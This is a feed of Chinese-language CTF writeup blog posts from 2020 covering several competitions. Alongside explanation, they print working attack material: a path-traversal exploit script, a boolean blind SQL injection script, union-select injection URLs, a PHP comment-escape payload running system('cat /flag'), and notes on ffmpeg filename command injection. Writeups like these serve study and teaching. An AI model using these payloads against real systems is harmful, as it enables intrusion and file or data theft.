2020中国电信天翼杯网络安全攻防大赛Writeup https://www.gem-love.com/ctf/2537.html https://www.gem-love.com/ctf/2537.html#comments Fri, 31 Jul 2020 10:56:14 +0000 https://www.gem-love.com/?p=2537 Author:颖奇L’Amore

Blog:www.gem-love.com

我不相信只有我一个人是从头到尾都没成功打开过平台。。。


WEB1

别人发来的题目链接:http://183.129.189.60:55200/ ,题目其他信息就不知道了

在/source得到源码

const express = require("express");
const cors = require("cors");
const app = express();
const uuidv4 = require("uuid/v4");
const md5 = require("md5");
const jwt = require("express-jwt");
const jsonwebtoken = require("jsonwebtoken");
const server = require("http").createServer(app);

const { flag, secret, jwtSecret } = require("./flag");

const config = {
  port: process.env.PORT || 8081,
  adminValue: 1000,
  message: "Can you get flag?",
  secret: secret,
  adminUsername: "kirakira_dokidoki",
  whitelist: ["/", "/login", "/init", "/source"],
};

let users = {
  0: {
    username: config.adminUsername,
    isAdmin: true,
    rights: Object.keys(config)
  }
};

app.use(express.json());

app.use(cors());

app.use(
  jwt({ secret: jwtSecret }).unless({
    path: config.whitelist
  })
);

app.use(function(error, req, res, next) {
  if (error.name === "UnauthorizedError") {
    res.json(err("Invalid token or not logged in."));
  }
});

function sign(o) {
  return jsonwebtoken.sign(o, jwtSecret);
}

function ok(data = {}) {
  return { status: "ok", data: data };
}

function err(msg = "Something went wrong.") {
  return { status: "error", message: msg };
}

function isValidUser(u) {
  return (
    u.username.length >= 6 &&
    u.username.toUpperCase() !== config.adminUsername.toUpperCase() && u.username.toUpperCase() !== config.adminUsername.toLowerCase()
  );
}

function isAdmin(u) {
  return (u.username.toUpperCase() === config.adminUsername.toUpperCase() && u.username.toUpperCase() === config.adminUsername.toLowerCase()) || u.isAdmin;
}

function checkRights(arr) {
  let blacklist = ["secret", "port"];

  if(blacklist.includes(arr)) {
    return false;
  }
  
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

app.get("/", (req, res) => {
  res.json(ok({ hint:  "You can get source code from /source"}));
});

app.get("/source", (req, res) => {
    res.sendFile( __dirname + "/" + "app.js");
});

app.post("/login", (req, res) => {
  let u = {
    username: req.body.username,
    id: uuidv4(),
    value: Math.random() < 0.0000001 ? 100000000 : 100,
    isAdmin: false,
    rights: [
      "message",
      "adminUsername"
    ]
  };
  if (isValidUser(u)) {
    users[u.id] = u;
    res.send(ok({ token: sign({ id: u.id }) }));
  } else {
    res.json(err("Invalid creds"));
  }
});

app.post("/init", (req, res) => {
  let { secret } = req.body;
  let target = md5(config.secret.toString());

  let adminId = md5(secret)
    .split("")
    .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
    .reduce((a, b) => a + b);

  res.json(ok({ token: sign({ id: adminId }) }));
});


// Get server info
app.get("/serverInfo", (req, res) => {
  let user = users[req.user.id] || { rights: [] };
  let info = user.rights.map(i => ({ name: i, value: config[i] }));
  res.json(ok({ info: info }));
});

app.post("/becomeAdmin", (req, res) => {
  let {value} = req.body;
  let uid = req.user.id;
  let user = users[uid];

  let maxValue = [value, config.adminValue].sort()[1];
  if(value >= maxValue && user.value >= value) {
    user.isAdmin = true;
    res.send(ok({ isAdmin: true }));
  }else{
    res.json(err("You need pay more!"));
  }
});

// only admin can update user
app.post("/updateUser", (req, res) => {
  let uid = req.user.id;
  let user = users[uid];
  if (!user || !isAdmin(user)) {
    res.json(err("You're not an admin!"));
    return;
  }
  let rights = req.body.rights || [];
  if (rights.length > 0 && checkRights(rights)) {
    users[uid].rights = user.rights.concat(rights).filter((value, index, self)=>{
      return self.indexOf(value) === index;
    });
  }
  res.json(ok({ user: users[uid] }));
});

// only uid===0 can get the flag
app.get("/flag", (req, res) => {
  if (req.user.id == 0) {
    res.send(ok({ flag: flag }));
  } else {
    res.send(err("Unauthorized"));
  }
});

server.listen(config.port, () =>
  console.log(`Server listening on port ${config.port}!`)
);

Step 1:称为管理员

在/becomeAdmin路由下使用了Arraysort()方法:

let maxValue = [value, config.adminValue].sort()[1];

JS比较坑的是,sort()方法实际上是把number转成了string再排序的,所以就会出现这种情况:

所以只要利用这个特性就可以成功满足value>=maxValue && 100 >= value而成为管理员

Step 2:得到secret

首先在updateUser路由下可以为用户的rights数组加东西:

之后在serverInfo路由下,将rights数组内的元素作为config对象的属性并返回对应的值

我们希望得到secret的值,然而secret是被checkRights()给禁掉的,无论req.body.rights是数组还是字符串都会被ban:

这里又用到一个js的特性:

所以提交[["secret"]]即可

之后得到secret

Step 3:修改uid为0

因为jwt用的jwtSecret是不会泄露的,伪造jwt的思路就失败了。注意到init处可以修改id:

md5(secret)现在已知了,然后有一个异或操作,所以直接让它们相等就能返回0了。注意需要提交secret为字符串形式,然后得到新token:

jwt的payload部分直接解base64就可以看到明文,可以看下id是否为0了

然后带上新jwt去访问flag即可


后记:

赛后发现,是原题,无语

https://xz.aliyun.com/t/7177

等第四届BJDCTF,请大家吃我出了整整一个星期的NodeJS奥

结账下机,准备今晚9点半打InCTF了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2537.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2537.html/feed 1
🇷🇺CyBRICS CTF 2020 Writeup https://www.gem-love.com/ctf/2526.html https://www.gem-love.com/ctf/2526.html#respond Tue, 28 Jul 2020 07:14:08 +0000 https://www.gem-love.com/?p=2526 Author:颖奇L’Amore

Blog:www.gem-love.com

被队友带躺的舒舒服服,第一天晚上因为临时有事做完web1就走了,一觉醒来web被ak了,然后就看着xmcp大哥单刷了好几个乱七八糟分类的题,还拿了一个Hard的一血,wtcl

最后是拿了总榜第四、中国第一,队友tql!


Hunt

一开始我以为像rgbCTF的web1那样,如果需要的时间很短,那么应该用js模拟一下鼠标事件。不过我还是决定去试一试,然后随便一点就在几秒钟内点到了5个验证码,直接出了flag,太签到了


Gif2png

solved by daylight@r3kapig

一开始我没看到题目给了源码一通瞎测,然后队友直接solve,我才发现有源码。确实很简单,用了ffmpeg,文件名可控,所以直接命令注入。

问题在于,没有回显,又不出网。所以可以把文件复制到我们能访问的地方去,看这个路由:

所以把文件拷贝到uploads/uid下来即可,uid会在上传时候给你返回的。

$()``一样的作用,用来执行命令,再用||分隔一下,利用base64编码来执行任意命令。

读main.py即可得到flag。


WoC

solved by Hpdoger@r3kapig

newtemplate.php可以新建模板,然而要求了不能含有<?

在calc.php中能够把html模板保存成一个php文件,其中有php的短标签<?=,而$field也是我们可控的

所以我们只需要通过特定构造的$field与后文一起构造一个多行注释,让代码最终为<?=json_encode(string(something));eval(your_code_here);即可

<html>
    <head>
        <meta charset="utf-8">
        <title>hpdoger-4<title>
    <head>  
            <input type="text" class="part" id="field" name="field" >
            <input type="button" class="part" id="digit0" data-append="0" >
            <input type="button" class="part" id="digit1" data-append="1" >
            <input type="button" class="part" id="digit2" data-append="2" >
            <input type="button" class="part" id="digit3" data-append="3" >
            <input type="button" class="part" id="digit4" data-append="4" >
            <input type="button" class="part" id="digit5" data-append="5" >
            <input type="button" class="part" id="digit6" data-append="6" >
            <input type="button" class="part" id="digit7" data-append="7" >
            <input type="button" class="part" id="digit8" data-append="8" >
            <input type="button" class="part" id="digit9" data-append="9" >
            <input type="button" class="part" id="plus" data-append=" + " >
            <input type="button" class="part" id="minus" data-append=" - " >
            <input type="button" class="part" id="times" data-append=" * " >
            <input type="button" class="part" id="div" data-append="  " >
            <input type="button" class="part" id="point" data-append="." >
            <input type="button" class="part" id="clear" >
            <input type="button" class="part" id="back" value="← Back" >
            <input type="submit" class="part" id="share" name="share" value="Share" >
            <input type="submit" class="part" id="equals" >
        <form>
        <td><tr><table>
    <body>

<html>*/;eval(system('cat /flag'))?>

新建模板后能够得到$uuid.html,再去share得到新的$calc.php$field构造为:

/*((*/1))/*

之后文件就会变为

<script>var preloadValue = <?=json_encode((string)(/*注释*/1))/*注释*/;eval(system('cat /flag'))?>

这样,利用多行注释闭合了json_encode()的同时也让php命令从中逃逸出来成功执行,得到flag


Developer’s Laptop

solved by Hpdoger@r3kapig

准备写wp,发现环境已经关了,算了算了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2526.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2526.html/feed 0
安恒七月赛DASCTF July Writeup https://www.gem-love.com/ctf/2514.html https://www.gem-love.com/ctf/2514.html#comments Sat, 25 Jul 2020 07:01:44 +0000 https://www.gem-love.com/?p=2514 Author:颖奇L’Amore

Blog:www.gem-love.com

Misc-Depth是我出的题,需要递归造成RecursionError异常,然而Recursion Limit是随机数,所以本题需要首先分析算法然后构造异常然后想办法解决Recursion Limit随机数。源码都给了,具体的大家自己试吧


Ezinclude

沙雕题,因为gqy.jpg和/gqy.jpg获得相同回显,可以判断出一定在文件名前拼接了路径,这种情况是无法使用wrapper等手段的。又有waf,如果waf过滤掉了../那么这个包含将是绝对安全的。后来发现,如果f参数的开头给出一个目录再穿越就可以绕过waf了(这样出题很没意思)

exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import base64 as b
import time as t
from urllib.parse import quote_plus as urlen

HOST = "http://183.129.189.60:10009/image.php?t={}&f=".format(int(t.time()))
file = 'y1ng/../../../../../../../flag'
file = b.b64encode(file.encode("utf-8")).decode("utf-8")
url = HOST+urlen(file)
print(req.get(url).text)

顺便读一下源码,谁会这么写waf= =

<?php

    if(!isset($_GET['t']) || !isset($_GET['f'])){
        echo "you miss some parameters";
        exit();
    }
    
    $timestamp = time();

    if(abs($_GET['t'] - $timestamp) > 10){
        echo "what's your time?";
        exit();
    }

    $file = base64_decode($_GET['f']);
    
    if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
        echo 'You are not allowed to do that.';
    }
    else{
        echo file_get_contents('/var/www/html/img/'.$file);
    }

?>

SQLi

根据它的正则过滤了几个Time-based SQLi需要的关键字,以为要做笛卡尔积延时,然后发现可以直接布尔盲注

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import time as t
import base64 as b
import string
alpa = string.ascii_letters + string.digits
res = ''
#库名 利用limit注入 sqlidb
# http://183.129.189.60:10004/?id=1%27limit/**/1,1/**/PROCEDURE/**/ANALYSE(1)%23

#表名 flllaaaggg
payload = '''SELECT group_concat(table_name) FROM  sys.x$schema_flattened_keys WHERE table_schema='sqlidb' GROUP BY table_name limit 0,1'''

for i in range(1,100):
	for char in alpa:
		host = '''http://183.129.189.60:10004/?id=1'=(substr(({payload}),{i},1)='{char}')%23'''.format(payload=payload.replace(' ','/**/'), i=i, char=char)

		r = req.get(host)
		if r'admin666' in r.text:
			res += char
			print("found it: "+res)
			break
		t.sleep(0.2)

无列名注入,本来想无列名盲注,但是因为fllllaaaggg的表结构是id在前flag在后,无法根据flag来判断,(select 'y1ng','y1ng')>(select * from flllaaaggg)这种思路的盲注失败(实际上也可以做,我当时发现可以直接利用回显来构造payload就没再试)。然后想到题目有回显,直接构造联合查询即可:

http://183.129.189.60:10004/?id=100’/**/union/**/select/**/*,1/**/from/**/flllaaaggg%23

btw,可以联合查询,所以表也可以直接查的,不需要盲注:

http://183.129.189.60:10004/?id=100%27/**/union/**/SELECT/**/group_concat(table_name),2,3/**/FROM/**//**/sys.x$schema_flattened_keys/**/WHERE/**/table_schema='sqlidb'/**/GROUP/**/BY/**/table_name/**/limit/**/0,1%23

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2514.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2514.html/feed 2
🇺🇸rgbCTF 2020 writeup https://www.gem-love.com/ctf/2501.html https://www.gem-love.com/ctf/2501.html#comments Tue, 14 Jul 2020 13:17:27 +0000 https://www.gem-love.com/?p=2501 Author:颖奇L’Amore

Blog:www.gem-love.com


Typeracer(119pt)

题出的挺好,还特意打乱了每个单词的顺序

先获取到Element然后排序,再用js模拟键盘事件输入进去即可一秒搞定,exp:

/*
 * Author: 颖奇L'Amore
 * Blog: www.gem-love.com
*/ 

var obj = {}
for (var i in document.getElementById('Ym9iYmF0ZWEh').children) 
{
	try {
		var order = document.getElementById('Ym9iYmF0ZWEh').children[i].style.order
		var content = document.getElementById('Ym9iYmF0ZWEh').children[i].innerHTML.replace("&nbsp;","");
		obj[order] = content
	} catch {}
	
}

Object.keys(obj).sort()

str = ''
for ( var i in obj ) {
	(i < Object.keys(obj).length - 1 ) ? str += obj[i] + ' ' : str += obj[i];
}
console.log(str)

// event = document.createEvent("KeyboardEvent");
for ( var i in str ) {
	unicode = str[i].charCodeAt(0);
	keyprs = {
		char: str[i],
		keyCode: unicode, 
		bubbles : false,
    	cancelable : false,
    	shiftkey: false
	}
	// document.getElementsByTagName('textarea')[0].dispatchEvent(new KeyboardEvent('keypress', keyprs));
	document.dispatchEvent(new KeyboardEvent('keypress', keyprs));
}

Imitation Crab(448pt)

脑洞指数:★★★☆☆

题目是个键盘模拟器,用扫描器扫出来robots.txt,然后下载得到export.har,查询资料得知:

Chrome作为一代浏览器巨星,具有完备的网络调试功能,当然也可以抓取HTTP报文,它抓取的包可以被保存为HAR格式

分析发现似乎是在输入什么东西,但是记录的是字符的ascii

于是把这些ascii提取出来看看是什么

#!/usr/bin/ruby -w
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
har = File.read('export.har').split(/\"text\"\:\ \"\{/)
har.each do |ch|
	begin
		print Integer(ch[9..10]).chr
	rescue
		nil
	end
end

得到:RGBCTF H4R F1L3S 4R3 2UP3R US3FU1

flag:rgbCTF{H4R_F1L3S_4R3_2UP3R_US3FU1}


Countdown(455pt)

脑洞指数:★☆☆☆☆

弱智题,伪造flask session即可。主页写着Time is key所以secret就是Time

但是伪造了好几个,倒计时都在变化,没有找到规律,这里很迷惑

后来伪造了2020-07-14 12:59:59+0000,发现倒计时变成了2分钟,简单等待之后居然变成了负的秒数

刷新页面,得到flag:rgbCTF{t1m3_1s_k3y_g00d_j0k3_r1ght}


Keen Eye(490pt)

这题我根本不知道在干嘛,这是最难的一个web,或许我是直接非预期了,也或许是题出的有问题,因为我有一键扫描所有js、css、html的注释的Chrome插件,直接出了flag


Secure RSA(497pt)

脑洞指数:★★★★★

必须吐槽,这是最难的MISC,是最傻逼的题

Secure RSA (SRSA) is a new, revolutionary way to encrypt your data that ensures the original message is unrecoverable by hackers. Top scientists from around the world have confirmed this mathematically irrefutable fact. 3 of our very own RGBSec members have developed this method, and we present it to you here. Granted, the method is very simple, and we aren't quite sure why nobody has thought of it before. Levying the power of uninjectivity, we set e to a small number. 0, in fact. Let's calculate the cipher now: (anything)^0 = 1. Since the message before encryption could have been any number in the world, the ciphertext is uncrackable by hackers. 

n: 69696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969

e: 0

c: 1

这段英文的每句话首字母组成的就是flag:rgbCTF{ST3GL0LS}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2501.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2501.html/feed 3
🇯🇵TSG CTF 2020 Beginner’s Web Writeup https://www.gem-love.com/ctf/2494.html https://www.gem-love.com/ctf/2494.html#respond Sun, 12 Jul 2020 17:40:46 +0000 https://www.gem-love.com/?p=2494 Author:颖奇L’Amore

Blog:www.gem-love.com


签到题,签到失败,实在是丢人,四个web一个都不会~~~

题目给了源码:

const fastify = require('fastify');
const nunjucks = require('nunjucks');
const crypto = require('crypto');


const converters = {};

const flagConverter = (input, callback) => {
  const flag = '*** CENSORED ***';
  callback(null, flag);
};

const base64Converter = (input, callback) => {
  try {
    const result = Buffer.from(input).toString('base64');
    callback(null, result)
  } catch (error) {
    callback(error);
  }
};

const scryptConverter = (input, callback) => {
  crypto.scrypt(input, 'I like sugar', 64, (error, key) => {
    if (error) {
      callback(error);
    } else {
      callback(null, key.toString('hex'));
    }
  });
};


const app = fastify();
app.register(require('point-of-view'), {engine: {nunjucks}});
app.register(require('fastify-formbody'));
app.register(require('fastify-cookie'));
app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}});

app.get('/', async (request, reply) => {
  reply.view('index.html', {sessionId: request.session.sessionId});
});

app.post('/', async (request, reply) => {
  if (request.body.converter.match(/[FLAG]/)) {
    throw new Error("Don't be evil :)");
  }

  if (request.body.input.length < 10) {
    throw new Error('Too short :(');
  }

  converters['base64'] = base64Converter;
  converters['scrypt'] = scryptConverter;
  converters[`FLAG_${request.session.sessionId}`] = flagConverter;

  const result = await new Promise((resolve, reject) => {
    converters[request.body.converter](request.body.input, (error, result) => {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    });
  });

  reply.view('index.html', {
    input: request.body.input,
    result,
    sessionId: request.session.sessionId,
  });
});

app.setErrorHandler((error, request, reply) => {
  reply.view('index.html', {error, sessionId: request.session.sessionId});
});

app.listen(59101, '0.0.0.0');

看看题

题目是一个编码工具,支持两种编码,界面这样的:

阅读源码可知,首先是有一个flagConverter()能得到flag

const flagConverter = (input, callback) => {
  const flag = '*** CENSORED ***';
  callback(null, flag);
};

这个函数可以通过调用converters对象的FLAG_sessionid来触发

converters[`FLAG_${request.session.sessionId}`] = flagConverter;

inputconverter这两个参数我们完全可控,意味着我们能调用converters对象下的任何属性

const result = await new Promise((resolve, reject) => {
  converters[request.body.converter](request.body.input, (error, result) => {
    if (error) {
      reject(error);
    } else {
      resolve(result);
    }
  });
});

当然题目不会这么简单,FLAG这四个字母是不被允许的,并且长度也有要求

if (request.body.converter.match(/[FLAG]/)) {
  throw new Error("Don't be evil :)");
}

if (request.body.input.length < 10) {
  throw new Error('Too short :(');
}

我最开始绕了好久这个正则,因为JavaScript内可以用\u \x \???来分别表示Unicode、hex、octal,然而这三种编码都绕不过去match()方法的正则匹配,因为这是JavaScript内置支持的编码形式,在match()前会被自动解码的。后面还尝试过ejs注入、调nunjucks、原型链污染等,也都无果。

切入点

因为converters[request.body.converter](request.body.input, (error, result) => { *** });可控的,本题目的关键是利用__defineSetter__,参考

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__

The __defineSetter__ method binds an object’s property to a function to be called when an attempt is made to set that property.

这个方法将属性绑定到一个函数上,它接收2个参数,第一个是属性(字符串类型)第二个就是函数了。

知道了这些还远远不够,因为本题目并不是最终通过回调或其他方式来调用flagConverter()函数,而是利用reject(error)来爆出源码进而得到flag。

先来看个JS小特性

我有一个f()函数接收两个参数并输出,如果只传给他一个参数会怎么样呢?

C语言等语言会直接报错,但是像JavaScript或者PHP这类语言都是可以容错的(RCTF的swoole就需要用到PHP的这个特性),如果只穿一个参数给f()那么它会被认为是第一个参数,而第二册参数则是undefined

解题

刚刚说了__defineSetter__方法会把属性分配给一个函数,那么如果request.body.converter__defineSetter__就会把request.body.input分配给(error, result) => {if (error) {reject(error);} else {resolve(result);}}这个函数(这是Lambda写法,也称为箭头函数)

converters现在有三个属性,分别是base64 scrypt FLAG_sessionid,为了本地调试方便,我们直接假设session_id为123123123,代码写成converters[`FLAG_123123123`] = flagConverter;,因为每次重新启动脚本就得重新弄session很麻烦。

所以我们就能直接把FLAG_123123123分配给那个箭头函数,虽然这个箭头函数接收两个参数,但是根据上面刚介绍的JS的函数容错特性,FLAG_123123123会被作为第一个参数也就是error这个参数,然后会被reject(error)

但是这样打过去是什么效果呢?

可以看到converters对象内的FLAG_123123123现在虽然成了Setter,证明__defineSetter__是成功的,但是HTTP请求卡住了,没有回包了

这是因为我们只通过__defineSetter__分配了函数并没有发送回任何结果,所以Promise((resolve, reject) => {***})没有完成,于是就一直在await

但是,当我们再发过去一个包的时候,这个包就是个普通的base64编码的包就好了,第二个包会执行converters[`FLAG_123123123`] = flagConverter;赋值操作,因为刚刚的__defineSetter__的缘故,flagConverter函数作为一个值被传进了分配给FLAG_123123123的function,也就是(error, result) => {}这个箭头函数,此时的error参数就是flagConverter,然后reject(error)也就是reject(flagConverter)就通过报错得到了flagConverter的源码,当然flag也包含其中

因为只有第二个包请求成功后才会返回第一个包的结果,因此需要使用Thread,当然用burp开两个repeater也行

Reinforce

为了确定是否是第二个包的converters[`FLAG_123123123`] = flagConverter;的赋值成为了得到flag的关键,我自定义了一个y1ng()函数

const y1ng = (input, callback) => {
  const y2ng = 'test';
  callback(null, y2ng);
};

并且让第二个包时将FLAG_123123123赋值为y1ng函数

converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
if (request.body.converter != 'base64') {
	  converters[`FLAG_123123123`] = flagConverter;
	  console.log("log:"+request.body.converter);
} else {
	converters[`FLAG_123123123`] = y1ng;
	console.log("base64 log:"+request.body.converter);
}

同样的payload再打过去,Error出的源码就是y1ng()的源码的了

这证明上面说的是没错的


References

https://github.com/TeamUnderdawgs/CTF-Docs/blob/master/TsgCTF2020/Web/Beginners-Web.md

https://gist.github.com/0xParrot/310b71266ca2a6bfcaf26b5419c91a0d

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2494.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2494.html/feed 0